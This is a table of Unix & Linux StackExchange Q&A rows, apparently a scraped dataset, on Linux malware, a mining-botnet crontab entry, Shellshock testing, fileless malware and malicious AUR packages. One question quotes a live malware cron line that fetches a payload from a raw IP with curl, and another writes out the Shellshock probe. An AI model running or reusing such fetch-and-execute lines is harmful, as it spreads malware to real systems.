date int64 1,220B 1,719B | question_description stringlengths 28 29.9k | accepted_answer stringlengths 12 26.4k | question_title stringlengths 14 159 |
|---|---|---|---|
1,302,684,686,000 |
I often see that programs specify pid and lock files. And I'm not quite sure what they do.
For example, when compiling nginx:
--pid-path=/var/run/nginx.pid \
--lock-path=/var/lock/nginx.lock \
Can somebody shed some light on this one?
|
pid files are written by some programs to record their process ID while they are starting. This has multiple purposes:
It's a signal to other processes and users of the system that that particular program is running, or at least started successfully.
It allows one to write a script really easy to check if it's runni... | What are pid and lock files for? |
1,302,684,686,000 |
Using flock, several processes can have a shared lock at the same time, or be waiting to acquire a write lock. How do I get a list of these processes?
That is, for a given file X, ideally to find the process id of each process which either holds, or is waiting for, a lock on the file. It would be a very good start tho... |
lslocks, from the util-linux package, does exactly this.
In the MODE column, processes waiting for a lock will be marked with a *.
| How to list processes locking file? |
1,302,684,686,000 |
Sometimes you have to make sure that only one instance of a shell script is running at the same time.
For example a cron job which is executed via crond that does not provide
locking on its own (e.g. the default Solaris crond).
A common pattern to implement locking is code like this:
#!/bin/sh
LOCK=/var/tmp/mylock
if ... |
Here's another way to do locking in shell script that can prevent the race condition you describe above, where two jobs may both pass line 3. The noclobber option will work in ksh and bash. Don't use set noclobber because you shouldn't be scripting in csh/tcsh. ;)
lockfile=/var/tmp/mylock
if ( set -o noclobber; ech... | Correct locking in shell scripts? |
1,302,684,686,000 |
A solution that does not require additional tools would be prefered.
|
Almost like nsg's answer: use a lock directory. Directory creation is atomic under linux and unix and *BSD and a lot of other OSes.
if mkdir -- "$LOCKDIR"
then
# Do important, exclusive stuff
if rmdir -- "$LOCKDIR"
then
echo "Victory is mine"
else
echo "Could not remove lock dir" >&2
... | How to make sure only one instance of a bash script runs? |
1,302,684,686,000 |
I would like to know about Linux spinlocks in detail; could someone explain them to me?
|
A spin lock is a way to protect a shared resource from being modified by two or more processes simultaneously. The first process that tries to modify the resource "acquires" the lock and continues on its way, doing what it needed to with the resource. Any other processes that subsequently try to acquire the lock get... | What is a spinlock in Linux? |
1,302,684,686,000 |
If I have a command
$ ./script >> file.log
that gets called twice, with the second call occurring before the first one ends, what happens?
Does the first call get an exclusive lock on the output file? If so, does the second script fail when attempting to write, or does the shell accept the output (allowing the scrip... |
Since you're using >>, which means append, each line of output from each instance will be appended in the order it occurred.
If your script output prints 1\n through 5\n with a one second delay between each and instance two is started 2.5 seconds later you'll get this:
1
2
1
3
2
4
3
5
4
5
So to answer your question: ... | Does redirecting output to a file apply a lock on the file? |
1,302,684,686,000 |
I am looking a simple way to lock my session in Xfce (Debian Unstable). I don't want to have to write my password at every wake-up but I want to be able to press to a shortcut (which launches a commandline) which asks for identification.
The usage is to lock my laptop when I leave office for lunch. I want to press th... |
I found these methods on Ubuntu Forums in a thread titled: Thread: How do I lock the screen in XFCE?.
excerpted from 2 of the answers in that thread
Method #1 - Keyboard shortcut
Open the settings manager > keyboard > shortcuts and you can see that the default shortcut to lock the screen is ctrl-alt-del. If you want ... | How to lock my session in Xfce? |
1,302,684,686,000 |
After process is completed, I see that the lock file isn't deleted? Is there any reason that why flock keeps the file ? Also how does flock knows if there is a lock acquired ?
Here is the example from a crontab file
* * * * * flock python <script_name>.py
|
For most use cases of flock, it's very important that the lock file not be "cleaned up". Otherwise, imagine this scenario:
process A opens the lock file, finds it does not exists, so it creates it.
process A acquires the lock
process B opens the lock (finds it already exists)
process B tries to acquire the lock but h... | Why flock doesn't clean the lock file? [closed] |
1,302,684,686,000 |
If you are running apt-get commands on terminal and want to install stuff on the software center, the center says it waits until apt-get finishes. I wanted to know if it is possible to do the same but on the terminal, i.e., make apt-get on the terminal wait until the lock is released.
I found this link, that uses aptd... |
apt 1.9.11
This was solved in Debian bug #754103 in this commit. The fix is in versions of apt newer than 1.9.11.
apt(8): Wait for lock (Closes: #754103)
You can enable this option by setting -o DPkg::Lock::Timeout=60 as an argument to apt or apt-get. Where 60 is the time to wait in seconds for the lock.
apt -o DP... | apt-get wait for lock release |
1,302,684,686,000 |
What are the basic differences between spin locks and semaphores in action?
|
Both manage a limited resource. I'll first describe difference between binary semaphore (mutex) and spin lock.
Spin locks perform a busy wait - i.e. it keeps running loop:
while (try_acquire_resource ());
...
release();
It performs very lightweight locking/unlocking but if the locking thread will be preempted by othe... | what is the difference between spin locks and semaphores? |
1,302,684,686,000 |
flock -x -w 5 ~/counter.txt 'COUNTER=$(cat ~/counter.txt); echo $((COUNTER + 1)) > ~/counter.txt'
How would I pass multiple commands to flock as in the example above?
As far as I understand, flock takes different flags (-x for exclusive, -w for timeout), then the file to lock, and then the command to run. I'm not sur... |
Invoke a shell explicitly.
flock -x -w 5 ~/counter.txt sh -c 'COUNTER=$(cat counter.txt); echo $((COUNTER + 1)) > ~/counter.txt'
Note that any variable that you change is local to that shell instance. For example, the COUNTER variable will not be updated in the calling script: you'll have to read it back from the fil... | Pass multiple commands to flock |
1,302,684,686,000 |
The "standard" locking snippet I've seen goes something like...
(
flock -n 200 || exit 1;
# do stuff
) 200>program.lock
Is it safe (testing seems to say so) to use exec at that point? Will the subprocess retain the lock?
(
flock -n 200 || exit 1;
exec /usr/bin/python vendors-notcoolstuff.py
) 200>prog... |
Yes, locks are preserved across exec. Locks are preserved across the underlying system call execve, as long as the file descriptor remains open. File descriptors remain open across execve unless they have been configured to be closed on exec, and file descriptors created by shell redirection are not marked as close-on... | Is flock & exec safe in bash? |
1,302,684,686,000 |
I want to synchronize processes based on lock files (/ socket files). These files should only be removable by their creator user.
There are plenty of choices:
/dev/shm
/var/lock
/run/lock
/run/user/<UID>
/tmp
What's the best location for this purpose? And what way are above locations meant to be used for?
|
/dev/shm : It is nothing but implementation of traditional shared memory concept. It is an efficient means of passing data between programs. One program will create a memory portion, which other processes (if permitted) can access. This will result into speeding up things.
/run/lock (formerly /var/lock) contains lock... | Linux file hierarchy - what's the best location to store lockfiles? |
1,302,684,686,000 |
I want to have a file that is used as a counter. User A will write and increment this number, while User B requests to read the file. Is it possible that User A can lock this file so no one can read or write to it until User A's write is finished?
I've looked into flock but can't seem to get it to work as I expect it.... |
Bash's processing of the command below may be surprising:
flock -x -w 5 /dev/shm/counter.txt echo "4" > /dev/shm/counter.txt && sleep 5
Bash first runs flock -x -w 5 /dev/shm/counter.txt echo "4" > /dev/shm/counter.txt and, if that completes successfully (releasing the lock), then it runs sleep 5. Thus, the lock ... | Obtain exclusive read/write lock on a file for atomic updates |
1,302,684,686,000 |
On my RasPi board, Debian Linux, the USB microphone occasionally gets locked up such that nothing can use it. The microphone has a LED which is usually flashing, when it's locked, it turns off.
The utility arecord describes it as follows:
card 1: Device [DYNEX USB MIC Device], device 0:USB Audio [USB Audio]
Subdev... |
This is easy to solve.
Issue: Your microphone is not getting enough power. The Raspberry Pi USB ports have issues supplying enough amps to USB devices that need more than power than USB memory cards.
Solution: Get an active USB hub (powered hub plugged into a power source like an outlet.) The hub will power the microp... | RasPi - USB microphone locks up |
1,302,684,686,000 |
$ cat /proc/locks
1: POSIX ADVISORY WRITE 458 03:07:133880 0 EOF
2: FLOCK ADVISORY WRITE 404 03:07:133879 0 EOF
The fields are: ordinal number(1), type(2), mode(3), type(4), pid(5), maj:min:inode(6) start(7) end(8).
Question: how to find the corresponding file is being locked?
|
sudo find -L /proc/458/fd -maxdepth 1 -inum 133880 -print -exec readlink {} \;
To get all of them:
while IFS=': ' read x x x x p x x i x; do
sudo find -L "/proc/$p/fd" -maxdepth 1 -inum "$i" -exec readlink {} \; -quit
done < /proc/locks
Sometimes, the process whose pid is referenced in /proc/lock will have died. Y... | file corresponds to /proc/locks |
1,302,684,686,000 |
I have a shell script which will be executed by multiple instances and if an instance accessing a file and doing some operation how can I make sure other instances are not accessing the same file and corrupting the data ?
My question is not about controlling the parallel execution but dealing with file lock or flaggin... |
Linux normally doesn't do any locking (contrary to windows). This has many advantages, but if you must lock a file, you have several options. I suggest
flock: apply or remove an advisory lock on an open file.
This utility manages flock(2) locks from within shell scripts or from the command line.
For a single command... | How to make sure only one instance accessing the file at a time in a folder? |
1,302,684,686,000 |
I would like to get a list of pid's which hold shared lock on /tmp/file. Is this possible using simple command line tools?
|
From man lsof:
FD is the File Descriptor number of the file or:
FD is followed by one of these characters, describing the mode under which the file is open:
The mode character is followed by one of these lock characters, describing the type of lock applied to the file:
... | Monitoring file locks, locked using flock |
1,302,684,686,000 |
I have a cluster with a bunch of servers with a shared disk containing a GFS global file system that all nodes access simultaneously.
Each node in the cluster run the same program (a shell script is the main core).
The system processes files that appear in a couple of input directories, and it works like this:
the pr... |
The link() system call on the NFS client should map directly to the NFS LINK operation, which the server should implement using its link() system call. So as long as link() is atomic on the server, it will also be atomic on the clients.
| Is `ln` atomic and reliable on NFS? Could NFS replace GFS in this use case? |
1,302,684,686,000 |
I'm trying to find a way to lock a script based on a parameter given, but was unsuccessful in finding a proper answer.
What I'm trying to achieve is prevent another user from running a script based on some parameter: so if user A executes the script with parameter JOHN_DOE (e.g: -d JOHN_DOE) and user B executes it wit... |
A tool such as flock can help manage locks. (It may not work with NFS, depending on whether you believe the documentation or the practice, and similarly may or may not work on SMB or indeed any other remote filesystem.)
The documentation, man flock, does have several examples of use. Here's one of them tailored to you... | Lock a bash script based on parameter? |
1,302,684,686,000 |
I'm planning on having a complicated file sharing setup, and want to make sure I don't destroy file locking. (Wanting to use bind mounting, nfs, nfs over rdma (InfiniBand file sharing), and virtfs (kvm virtual machine pass-through file sharing) on the same data.)
I'm at the beginning sanity checks, just testing the n... |
flock doesn't work over NFS. (It never has, even on UNIX systems.)
See flock vs lockf on Linux for one comparison of lockf and flock.
Here is a possible solution Correct locking in shell scripts?
| NFS file locking not working, am I misunderstanding? |
1,302,684,686,000 |
Can Bash execute a subprocess while preventing a subprocess from inheriting a file descriptor?
if flock -nx 9
then
# If begin program runs away, it will keep the lock.
begin program
else
echo "Lock held :/)" >&2
fi 9> /tmp/lk
|
As far as I know, no. You have to close it manually:
if flock 9 -nx
then
program 9>&- #<= manual close of fd 9 after `program` has forked but before it execs
else
echo "Lock held :/)" >&2
fi 9> /tmp/lk
If you want to get extra hacky, you can set the flag by calling the fcntl function directly via ctypes.sh:
#!/b... | Bash, fork with CLOEXEC |
1,302,684,686,000 |
On Linux I use flock lock command to execute a command with an exclusive lock.
What is the standard operating system command of Solaris 10 to do the same in a shell?
|
After a small Usenet discussion I use the following as a workaround for flock -n lockfile -c command:
#! /bin/bash
if [ $# != 4 -o "$1" = '-h' ] ; then
echo "Usage: flock -n lockfile -c command" >&2
exit 1
fi
lockfile=$2
command=$4
set -o noclobber
if 2>/dev/null : > "$lockfile" ; then
trap 'rm -f "$lockfi... | How to lock on Solaris 10? |
1,302,684,686,000 |
After having opened the master part of a pseude-terminal
int fd_pseudo_term_master = open("/dev/ptmx",O_RDWR);
there is the file /dev/pts/[NUMBER] created, representing the slave part of he pseudo-terminal.
Ignorant persons, like me might imagine that after having done ptsname(fd_pseudo_term_master,filename_pseudo_ter... |
The old AT&T System 5 mechanism for pseudo-terminal slave devices was that they were ordinary persistent character device nodes under /dev. There was a multiplexor master device at /dev/ptmx. The old 4.3BSD mechanism for pseudo-terminal devices had parallel pairs of ordinary persistent master and slave device nodes ... | Is pseudo terminals ( unlockpt / TIOCSPTLCK ) a security feature? |
1,302,684,686,000 |
I'm using manjaro (5.8.18-1-MANJARO) and the i3 window manager.
I'm trying to lock the screen then suspend activity after given amounts of idle time. I've found that xautolock should suit my needs using both the -locker and -killer flags. My i3 config contains the following :
exec --no-startup-id xautolock -time 5 -lo... |
To answer part 1) then add the no-fork option to blurlock as below:
exec --no-startup-id xautolock -time 5 -locker 'blurlock -n' -notify 15 -notifier "notify-send 'Screen will lock in 15 s'" -detectsleep -killtime 60 -killer "systemctl suspend"
As blurlock is built on top of i3lock this will pass the following option... | Trying to use xautolock to suspend activity after a certain amount of time |
1,302,684,686,000 |
I use arch with i3wm. I have enabled i3lock in my .config/i3/config:
exec --no-startup-id xss-lock --transfer-sleep-lock -- i3lock
Problem is my computer locks like every 10 minutes. How can I set two hours lock timeout ?
This is my xset q output:
Keyboard Control:
auto repeat: on key click percent: 0 LED m... |
I solved this by adding /etc/X11/xorg.conf.d/30-dpms.conf which contains:
Section "ServerFlags"
Option "StandbyTime" "90"
Option "SuspendTime" "90"
Option "OffTime" "90"
Option "BlankTime" "90"
EndSection
90 stands for 90 minutes
| Arch linux: i3wm set lock time out (xss-lock i3lock) |
1,302,684,686,000 |
Whenever I open a LibreOffice document, LibreOffice creates a lock file along the original file. This file has a naming schema like the following:
.~lock.MyDocument.odt#
Is this a LibreOffice specific naming pattern? Is it common on Linux?
Why do LibreOffice use exactly that pattern? Why did they choose those speci... |
The leading dot hides the file from some directory listings. This comes from historical behavior of the ls command, which lead many programs to use leading dots to denote files that aren't meant to be visible in directory listings, which in turn lead to many file managers hiding such files by default.
The tilde is an ... | Lock file naming pattern |
1,302,684,686,000 |
I have a Dell Latitude 5500 and a Dell Latitude 7550. The 5500 has Debian 10 and KDE, and the 7550 has Ubuntu 20.04 with KDE. In both laptops, if I close the lid, when I open it later the built-in laptop keyboard is completely locked-up and I can't type anything. The trackpad still works though and I am able to click ... |
Alright, so.
In a terminal, open /etc/default/grub.
Find the line that starts with GRUB_CMDLINE_LINUX_DEFAULT=.
Replace it with GRUB_CMDLINE_LINUX_DEFAULT="atkbd.reset i8042.reset i8042.nomux quiet splash".
Save and exit the file.
Run sudo update-grub.
If this doesn't work, follow the same process but try GRUB_CMDLI... | laptop keyboard locks up after closing lid |
1,302,684,686,000 |
I want to write a long-running shell script so that only one copy could be run at a time. If the script crashes, I want a new invocation of the script not to be stopped by a lock from the crashed invocation.
Is lockfile-* set of utils the right thing to use? Is there a chance of a race condition while using them in a ... |
While creating a lock can be done with the lockfile command or the flock system call or by creating a directory (which is an uninterupptable action) the second part is more tricky.
If the lock exists - how do you determine, if the lock belongs to a still running process?
The most common solution is to put the PID of t... | Locking in a shell script |
1,679,520,484,000 |
I have a bash deployment script that handles deploying updated code to a Tomcat instance on CentOS, however, both Chef and RunDeck may invoke the script, and since Chef runs periodically there is a chance of a collision.
How do I prevent the deployment script from running twice concurrently?
The standard answer looks ... |
You can close the file descriptor where flock maintains the lock before running the program that you want to run unlocked.
(
flock -n 9 || exit 120
…
(exec 9>&-; tomcat &)
) 9>/var/run/my.lock
| Controlling bash script concurrency, flock inheritance |
1,679,520,484,000 |
If process A copies files to some location loc and process B regularly copies the files from loc to some other location, can B read a file that is currently in the process of being copied to loc by A?
I'm using Ubuntu Linux 12.04 if that's important.
Background information: I want to continuously backup a PostgreSQL ... |
I think the best thing to is to ensure that process B only copies files which have been fully transferred by process A. One way to do this would be to use a combination of cp and mv in process A, since the mv process uses the rename system call (provided the files are on the same filesystem) which is atomic. This mean... | Can I safely read a file that is appended to by another process? |
1,679,520,484,000 |
Please, do NOT say how to lock screen, i know how to do it.
How To enable/disable Lock Screen service from terminal? Looks it's using xflock4 for locking screen.
I can enable or disable it in Screensaver preferences, but want to do it with keyboard button. I don't need shell script, just with which command I can enabl... |
Unfortunately I cannot give you a straight answer but might guide you to it.
Essentially you are looking for the place where Xfce stores its settings and then a way to change them (one setting actually, enable/disable screen lock) using commands, not clicking on the GUI settings.
Xfce uses xconfd for settings. xfconf-... | How To enable/disable "Lock Screen" setting from Linux terminal? |
1,679,520,484,000 |
I am trying to create a service wrapper (init.d script) around one of my favorite applications. The application creates both a PID and a lock file, and so I'm trying to use those to ensure that I can report accurate status of the application and prevent my service from starting multiple copies.
Unfortunately, the appl... |
I used the following function in my script to accomplish this:
getPIDLock () {
if [ ! -e "$LockFile" ]; then
return 0 # Not an error, but lsof will emit a lot of text if the file doesn't exist
fi
local PIDLock=$( lsof -F p "$1" | head -n 1 )
local strEcho='echo ${PID:1}'
bash -c "PID=\"$PID... | Check and Test Lock from other Process |
1,679,520,484,000 |
I have a large (>10GB) folder full of images on a live webserver that I need to back up and transfer.
I'm worried that if I tar the folder, the files will be blocked for reading by the webserver, which is hitting the files many times per second.
Does the tar command in linux block the files it's working on from being ... |
In a word, "no" :-)
Linux tar will not stop any other process from reading the files while it is running.
If you are concerned about writing the tar doesn't block that either, but if a file changes while tar is reading it then you'll get a warning message; if the directory structure changes while tar is in the middle ... | Does linux tar block write access to files |
1,679,520,484,000 |
I have a cron job that kicks off a new process every day. The process runs every 5 minutes and appends to a log file.
Another cron job runs every 60 minutes. It takes some of the data in the log file, cleans it up, creates a new log file. This cleaned up log file gets imported into a database. MySQL prevents duplicate... |
There is no file locking mechanism in place to protect file renaming or deletion because there is no need for it. Renaming or even deleting a file while it is open by another process, even if it actively writes and/or reads data, is harmless.
The processes having the file open would see no difference and will access t... | Does linux have file locking protection when trying to rename/deleting files |
1,679,520,484,000 |
Is it possible to lock the Parted Magic screen so that others don't tamper with it while it's in the middle of long operations?
|
In Parted Magic 2013.08.01, right click an empty spot on Desktop and
select Lock Screen
password = partedmagic
| Lock Parted Magic? |
1,679,520,484,000 |
I'm quite new to Linux and I have not really a clue on how to do this.
I've got a directory and I'd like to monitor (output to shell) when a file inside that directory get's a file lock and when it is released.
It would be okay to know as well other things, like when a file is created and similar, but I'm mainly inter... |
I haven't checked that you will get what you want with it, but the first thing I'd try is the audit subsystem. Make sure that the auditd daemon is started, then use auditctl to configure what you want to log. For ordinary filesystem accesses, you would do
auditctl -w /path/to/directory
auditctl -a exit,always -S fnctl... | How to trace file locks (per directory) |
1,679,520,484,000 |
In X I've used the following script (from here) to lock the computer with i3lock each time pm-suspend or pm-hibernate are invoked.
/etc/pm/sleep.d/00screensaver-lock:
#!/bin/sh
# 00screensaver-lock: lock workstation on hibernate or suspend
username=andreas
userhome=/home/$username
export XAUTHORITY="$userhome/.X... |
This simple script does the trick:
#!/bin/sh
case "$1" in
hibernate|suspend)
/usr/bin/vlock -ans &
;;
thaw|resume)
;;
*) exit $NA
;;
esac
| Locking console when computer suspends/hibernates |
1,679,520,484,000 |
When I use straceon Apache while it acts unresponsive, I get the following output:
[pid 13704] fcntl(57, F_SETLK, {type=F_RDLCK, whence=SEEK_SET, start=1073741824, len=1}) = -1 EAGAIN (Resource temporarily unavailable)
What does it mean and what kind of lock would the process need to be responsive again?
|
fcntl(57, F_SETLK, …) means that the process is trying to take a lock on the file which is open on file descriptor 57. The error EGAIN means that taking the lock failed because it's already taken by another process. The lock is specifically on the portion of the file from offset 1073741824 to offset 1073741825.
On Lin... | Meaning of fcntl ... F_SETLK ... (Resource temporarily unavailable) in strace output? |
1,679,520,484,000 |
I'm not able to install, update or do anything else with apt-get, aptitude, dpkg and so on.
The lock-file /var/lib/dpkg/lock exists from boot-time on. When I delete it and run apt-get update, it prints out, that dpkg has been interrupted.
I tried dpkg --configure -a as mentioned in the help text, but that runs into a... |
I was having the same problem some years ago due to a GUI widget that was looking for system updates and which was locking the package manager.
You can maybe verify running GUI applications (including widget, systray) to be sure that no one related to package management is opened.
| Can't install anything |
1,679,520,484,000 |
I have some script using flock executable. It works well.
Problem is when this script calls another script, and it creates background process.
In this situation background process inherits file locked file handle, this is system behavior.
I'm looking for any tool that works as wrapper and close all unneeded handles, s... |
Your script seems good enough. There are just some improvements needed:
#!/bin/bash
shopt -s nullglob
for fd in "/proc/$$/fd/"*; do
fd=${fd##*/}
case "$fd" in
0|1|2|255)
;;
*)
eval "exec $fd>&-"
;;
esac
done
exec "$@"
nullglob prevents the pattern from presenting itself if... | Remove unneeded file lock in script |
1,679,520,484,000 |
Context:
Want to put a lock on etckeeper/apt hook activity during special backup.
Objective is to preserve whole package integrity, e.g., wait until any package installation is complete, and then prevent new installation from starting until special backup is complete.
Found shell script under cron which appears to be ... |
The cron job is treating /var/cache/etckeeper/packagelist.pre-install as evidence that an installation is being processed, so it shouldn’t archive anything just yet. That file isn’t supposed to be a lock file, but the cron job is using it as a substitute.
However I wouldn’t particularly worry about etckeeper and any ... | Where is official documentation about locking mechanisms for etckeeper, apt, and/or dpkg? |
1,679,520,484,000 |
I would like to lock a file, run some tests then unlock the file. How can I do this. I could use the command line, perl, or a shell script.
The reason I would like to lock the file is occasionally when connecting with ftp to our Apache server we get an error upon deleting files: "Cannot open or remove a file containin... |
On the quick: file locking is normally only supported by higher level languages (as far as I know).
For perl examples you can start here https://stackoverflow.com/questions/34920/how-do-i-lock-a-file-in-perl or any of the Perl classics like https://docstore.mik.ua/orelly/perl/cookbook/ch07_12.htm (beware SSL cert issu... | How can I simulate locking a file? |
1,679,520,484,000 |
I've set up a no-x/console only system running a minimal install of debian jessie/testing. For this system I need a screen locker to lock the entire session when I'm away. vlock would be appropriate but for some reason it's not in the jessie repo.
Does anyone know why vlock isn't in the jessie repo? What can I use ins... |
You can simply use the package from sid (https://packages.debian.org/sid/vlock), it works fine.
| Lock console session |
1,679,520,484,000 |
My organisation uses Debian Linux running Samba for office file servers. Users run Outlook for their email, which crashes fairly regularly and leaves the outlook.pst file locked.
Currently, our procedure for removing the lock (which allows the user to use Outlook again) is:
Manually open a terminal session
Go to the ... |
This LINK to the lists.samba archive has a user with the same file locking issue.
Essentially find the PID of the process and kill the process this should free the lock (sometimes) I have used this in the past and it has worked for me any time that I had a locked file. But, I am not using outlook. The next response i... | Is there a better way to unlock a file than move and copy? |
1,679,520,484,000 |
I run Linux Mint in a VM.
Every single time I look at it, it has gone into some sort of "lock screen"-like state where it requires me to enter a password to get back. This is very annoying.
How do I turn this off entirely so that it never "auto-locks"? I already looked through a bunch of a settings but found nothing.
... |
You don't say which Desktop Environment you're using. There could be multiple places for these lock settings.
Look for screensaver settings, there may be a lock screen/session option. It's not uncommon to have multiple screensaver applications installed so you may have to look at all of them to figure out which is act... | How do I make Linux Mint stop pestering me for passwords all the time? |
1,679,520,484,000 |
After recently switching to i3 in Arch, I need something to manage power. xautolock seemed to be a good choice.
Unfortunately, I need it to do both systemctl suspend and i3lock at the same time, but it cannot achieve that.
Eg.
exec_always xautolock -time 3 -locker "i3lock && systemctl suspend"
That does not work at a... |
Probably this is not the perfect answer but is a workaround
i wanted this to run:
exec_always xautolock -time 1 -locker "i3lock && xset dpms force off"
But it didn't.
After reading a liitle bit the xautolock manual I tried this:
exec_always xautolock -time 1 -locker "i3lock" -killtime 1 -killer "xset dpms force off"
... | xautolock configuration in Arch i3 |
1,679,520,484,000 |
Linux and AFAIK most unixes expose the flock syscall for mandatory file-locking. My experience is admittedly limited with this, however am informed that it is kernel-enforced on the entire resource. But what if I wanted to only lock a part of a file mandatorily, such that read/writes to this resource are permitted, as... |
You can acquire partial lock using the the fcntl(2) system call by the F_SETLK, F_SETLKW, or F_GETLK command macros, and providing the partial area to be locked through a an flock structure provided as the third argument.
F_SETLK, F_SETLKW, and F_GETLK are used to acquire, release, and test
for the existence of recor... | Unix-esque partial-file-locking mechanism |
1,679,520,484,000 |
I have had Slackware 14.2 32bit installed on a netbook with LXDE as my main DE for about a month now. My main issue is that sometimes the screen is black on waking from sleep [suspend] and the only way to get back to the desktop is to REISUB or sometimes to do a hard reset.
I thought the issue was with LXsession sinc... |
This could be related to an issue with Xfce Power Manager. A sufficient workaround is to suspend via the logout menu in LXDE. The computer then wakes with no issues.
| Slackware 14.2 - black screen after waking from sleep/lock - what process controls sleep/lock? |
1,286,269,342,000 |
Is it possible for my Linux box to become infected with a malware?
I haven't heard of it happening to anyone I know, and I've heard quite a few times that it isn't possible. Is that true?
If so, what's up with Linux Anti-Virus (security) software?
|
First, it's certainly possible to have viruses under Unix and Unix-like operating systems such as Linux. The inventor of the term computer virus, Fred Cohen, did his first experiments under 4.3BSD. A How-To document exists for writing Linux viruses, although it looks like it hasn't had an update since 2003.
Second, so... | The myths about malware in Unix / Linux |
1,286,269,342,000 |
I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing.
Crontab entry:
*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:... |
It is a DDG mining botnet , how it work :
exploiting an RCE vulnerability
modifying the crontab
downloading the appropriate mining program (written with go)
starting the mining process
DDG: A Mining Botnet Aiming at Database Servers
SystemdMiner when a botnet borrows another botnet’s infrastructure
U&L : How can I k... | Suspicious crontab entry running 'xribfa4' every 15 minutes |
1,286,269,342,000 |
After a recent break in on a machine running Linux, I found an executable file in the home folder of a user with a weak password. I have cleaned up what appears to be all the damage, but am preparing a full wipe to be sure.
What can malware run by a NON-sudo or unprivileged user do? Is it just looking for files marke... |
Most normal users can send mail, execute system utilities, and create network sockets listening on higher ports. This means an attacker could
send spam or phishing mails,
exploit any system misconfiguration only visible from within the system (think private key files with permissive read permissions),
setup a servic... | Can malware run by a user without admin or sudo privileges harm my system? [closed] |
1,286,269,342,000 |
This is what I see in Nethogs:
I'm concerned about the listings with PID ?, running as root. How can I find out what these are? I'm running Linux Mint 14.
Please let me know what other information I should include.
|
Those are TCP connections that were used to make an outgoing connection to a website. You can tell from the trailing :80 which is the port that's used for HTTP connections to web servers, typically. After the 3 way TCP connection handshake has completed the connections are left in a "wait to close" state.
This bit is ... | How to tell if mysterious programs in nethogs listing are malware? |
1,286,269,342,000 |
Just wondering if installing Wine might open up a fairly solid Linux desktop to the world of Windows viruses. Any confirmed reports about that?
Would you then install a Windows antivirus product under Wine?
|
Yes and no.
Viruses/trojans are just programs, and will work on Wine... Also, your normal Linux file system is exposed to Wine with the user that launches Wine credentials.
BUT, usually viruses are based on lots of hacks, and they expect a "standard" and common Windows installation. I doubt that any virus is coded t... | Does installing and using Wine open up your Linux platform to Windows viruses? |
1,286,269,342,000 |
Some days ago that widget appeared on screen and I have no idea how to remove it and how did it came to my system. Not taken by screenshots. I suggest it is malware. Any ideas?
|
Look here: https://www.maketecheasier.com/more-gnome-shell-tips-and-tricks/
Scroll down to 6 "Screencast Recording".
It says:
Unknown to many, Gnome Shell has a built-in screen recorder. At any point of time, you just have to press the shortcut key “Shift + Ctrl + Alt + R” to activate the screen recorder. Once activ... | Which process places a red circle to the bottom right corner of my display on Linux Mint 18.1? |
1,286,269,342,000 |
I understand the definition of fileless malware:
Malicious code that is not file based but exists in memory only… More
particularly, fileless malicious code … appends itself to an active
process in memory…
Can somebody please explain how this appending itself to an active process in memory works ?
Also, what (ke... |
Fileless malware attacks the target by exploiting a vulnerability e.g. in a browser's Flash plugin, or in a network protocol.
A Linux process can be modified by using the system call ptrace(). This system call is usually used by debuggers to inspect and manage the internal state of the target process, and is useful ... | how does fileless malware work on linux? |
1,286,269,342,000 |
I have a problem with removing empty dir, strace shows error:
rmdir("empty_dir") = -1 ENOTEMPTY (Directory not empty)
And ls -la empty_dir shows nothing. So i connected to the fs (ext4) with debugfs and see the hidden file inside this dir:
# ls -lia empty_dir/
total 8
44574010 drwxr-xr-x 2 2686 2681 4096 Jan 13 17:59... |
I straced ls and got more information to dig (stripped non-important syscalls):
open("empty_dir", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3
getdents(3, /* 3 entries */, 32768) = 80
write(1, ".\n", 2.) = 2
write(1, "..\n", 3..) = 3
Hmm, we see that syscall getdents works ... | rmdir failed to remove empty directory |
1,286,269,342,000 |
I am seeing some strange DNS queries. They have seemingly random mixed case coming from machines in my network.
Is it possible I have malware?
$ sudo tcpdump -n port 53
16:42:57.805038 192.168.5.134.47813 > 192.168.5.2.53: 27738+ A? Www.sApO.PT. (29)
16:42:57.826942 192.168.5.2.53 > 192.168.5.134.47813: 27738 1/0/0 A ... |
At the end of day, after investigating the issue, the VMs doing mixed case DNS requests are OpenBSD machines running rebound, a DNS proxy used in OpenBSD.
Moreover, it appears it is nowadays common practice rebound, Unbound, pydig and Tor making such mixed case queries as a security measure.
Thus, the queries are not... | Mixed case DNS requests - Malware in my network? |
1,286,269,342,000 |
I have a weird problem since about a week. When I wake up my computer from suspend, a java process starts and consumes about 170 % CPU capacity.
I analyzed the java process a bit: it connects to static.icloud-ips.com.
Here's a screenshot of what I found out:
http://imageshack.us/photo/my-images/688/javavirus.png/
To s... |
BitcoinPlus is a web-based Bitcoin mining application written in Java. It uses your CPU to perform intensive calculations in an attempt to solve difficult math problems - this is part of the Bitcoin creation and security process. I've not heard of any *nix trojans or virii for Bitcoin generation (the only one I'm awar... | Java problem - nearly looks like a virus? |
1,286,269,342,000 |
I am using Fedora 20 on two machines.
Having read about the Shellshock vulnerability, just now at 1100ish UTC on September 26th 2014, in UK, after a yum update bash to protect against it, I tried this recommended testmodes:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
and, in both user and su modes... |
You have done it right.
Your systems are secure and not vulnerable from this exploit.
If your system would not be secure, the output of the command would be:
vulnerable
this is a test
but since your output is
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for... | Shellshock: Why this error when testing for vulnerability |
1,286,269,342,000 | ERROR: type should be string, got "\nhttps://superuser.com/questions/301646/linux-keylogger-without-root-or-sudo-is-it-real\nOr it's long gone as most of the new distros implement SELinux by default \n" |
I haven't watched the video, so I'm responding to the SU thread rather than the video it references.
If an attacker can run code on your machine as your user, then they can log your key presses.
Well, duh. All the applications you're running have access to your key presses. If you're typing stuff in your web browser, ... | Does this threat still exist: Linux keylogger without root privileges |
1,286,269,342,000 |
Malicious code has been found and deleted later from 3 AUR packages acroread, blaz and minergate (e,g: acroread PKGBUILD detail). It was found in a commit released by a malicious user by changing the owner of the orphaned AUR package and including a malicious curl command.
The curl command will download the main bash ... |
The point is that it may be not so easy to an inexperienced user to check source code. However, with the natural counterpoints, it could also be argued Arch Linux is not the best suited Linux distribution for inexperienced users.
The Arch wiki(s), AUR helpers and most forums online warn about the dangers of such repo... | How to check an AUR package for malicious code? |
1,286,269,342,000 |
